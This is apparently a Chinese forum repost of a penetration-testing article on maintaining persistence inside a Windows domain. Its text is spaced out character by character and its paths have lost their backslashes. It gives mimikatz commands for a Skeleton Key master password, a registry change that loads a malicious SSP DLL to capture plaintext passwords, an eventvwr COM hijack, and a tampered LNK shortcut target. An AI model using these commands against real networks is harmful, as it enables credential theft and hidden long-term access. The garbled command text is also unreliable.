搜索

[18612] 2021-08-08_内网渗透｜域内持久权限维持总结

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-08_内网渗透｜域内持久权限维持总结 内 网 渗 透 ｜ 域 内 持 久 权 限 维 持 总 结 原 创   1 1 c c a a b   H A C K 学 习 呀   2 0 2 1 - 0 8 - 0 8 收 录 于 话 题 # 渗 透 测 试   , 1 2 # 内 网 渗 透   , 2 0 # 权 限 维 持   , 4 0 x 0 1   万 能 密 码 （ 万 能 密 码 （ S k e l e t o n   K e y ） ） 将 自 身 注 入 l s a s s 进 程 创 建 一 个 主 密 码 ， 可 以 适 用 于 域 内 的 任 意 账 户 。 前 提 条 件 是 拥 有 域 管 权 限 。 m i m i k a t z 执 行 ： 然 后 i p c 连 接 域 控 p r i v i l e g e : : d e b u g m i s c : : s k e l e t o n
0 x 0 2   S S P S S P I   将 负 责 为 想 要 通 信 的 两 台 机 器 找 到 合 适 的 协 议 。 对 此 的 首 选 方 法 是   K e r b e r o s 。 然 后   S S P I   将 协 商 将 使 用 哪 种 身 份 验 证 协 议 ， 这 些 身 份 验 证 协 议 称 为 安 全 支 持 提 供 程 序   ( S S P ) ， 以   D L L   的 形 式 位 于 每 台   W i n d o w s   机 器 内 部 ， 并 且 两 台 机 器 必 须 支 持 相 同 才 能 进 行 通 信 。 我 们 可 以 自 己 创 建 s s p ， 捕 获 明 文 。 2 . 1   注 册 注 册 S S P   D L L 1 . 将 m i m i l i b . d l l 复 制 到 s y s t e m 3 2 目 录 下 2 . 查 看 S e c u r i t y   P a c k a g e s 3 . 修 改 S e c u r i t y   P a c k a g e s 值 m o v e   m i m i l i b . d l l   % s y s t e m r o o t % s y s t e m 3 2 r e g   q u e r y   h k l m s y s t e m c u r r e n t c o n t r o l s e t c o n t r o l l s a   / v   " S e c u r i t y   P a c k a g e s " r e g   a d d   " h k l m s y s t e m c u r r e n t c o n t r o l s e t c o n t r o l l s a "   / v   " S e c u r i t y   P a c k a g e s "   / d   " k e r b e r o s 0 m s v 1 _ 0 0 s c h a n n e l 0 w d i g e s t 0 t s p k g 0 p k u 2 u 0 m i m i l i b
密 码 会 保 存 在 : 会 产 生 事 件 I D 为 4 6 5 7 的 日 志 。 2 . 2   内 存 加 载 内 存 加 载 当 用 户 登 录 的 时 候 密 码 会 储 存 在 0 x 0 3   c o m 劫 持 劫 持 M i c r o s o f t   组 件 对 象 模 型   ( C O M )   是 一 个 独 立 于 平 台 、 分 布 式 、 面 向 对 象 的 系 统 ， 用 于 创 建 可 以 交 互 的 二 进 制 软 件 组 件 。 我 们 可 以 更 改 事 件 管 理 器 ， 使 其 打 开 启 动 我 们 的 二 进 制 文 件 。 修 改 将 原 来 的 C : W i n d o w s S y s t e m 3 2 k i w i s s p . l o g p r i v i l e g e : : d e b u g m i s c : : m e m s s p C : W i n d o w s s y s t e m 3 2 m i m i l s a . l o g H K C U S O F T W A R E C l a s s e s m s c f i l e s h e l l o p e n c o m m a n d
修 改 为 ： 执 行 ： 0 x 0 4   l n k 这 里 以 该 快 捷 文 件 为 例 ： % S y s t e m R o o t % s y s t e m 3 2 m m c . e x e   " % 1 "   % * C : w i n d o w s s y s t e m 3 2 c m d . e x e r e g . e x e   a d d   h k c u s o f t w a r e c l a s s e s m s c f i l e s h e l l o p e n c o m m a n d   / v e   / d   " c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   " s t a r t   c m d " " e v e n t v w r . e x e
修 改 目 标 为 ： p o w e r s h e l l . e x e   - c   " i n v o k e - i t e m   C : U s e r s A d m i n i s t r a t o r D e s k t o p A d E x p l o r e r A D E x p l o r e r 6 4 . e x e ;   i n v o k e - i t e m   c : w i n d o w s s y s t e m 3 2 c a l c . e x e "
再 把 图 标 修 改 回 来 ：
运 行 l n k
推 荐 阅 读 推 荐 阅 读 内 网 渗 透   |   横 向 移 动 中 M S T S C 的 密 码 获 取 内 网 渗 透   |   S P N   与   K e r b e r o a s t   攻 击 讲 解 内 网 渗 透   |   K e r b e r o s   协 议 相 关 安 全 问 题 分 析 与 利 用 内 网 渗 透   |   K e r b e r o s   协 议 与   K e r b e r o s   认 证 原 理 内 网 渗 透   |   利 用 拷 贝 卷 影 提 取 n t d s . d i t 内 网 渗 透 ｜ 基 于 文 件 传 输 的   R D P   反 向 攻 击 内 网 渗 透 ｜ 域 内 的 组 策 略 和 A C L 本 月 报 名 可 以 参 加 抽 奖 送 B A D U S B 的 优 惠 活 动 点 赞 ， 转 发 ， 在 看 点 赞 ， 转 发 ， 在 看 原 创 投 稿 作 者 ： 1 1 c c a a b
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理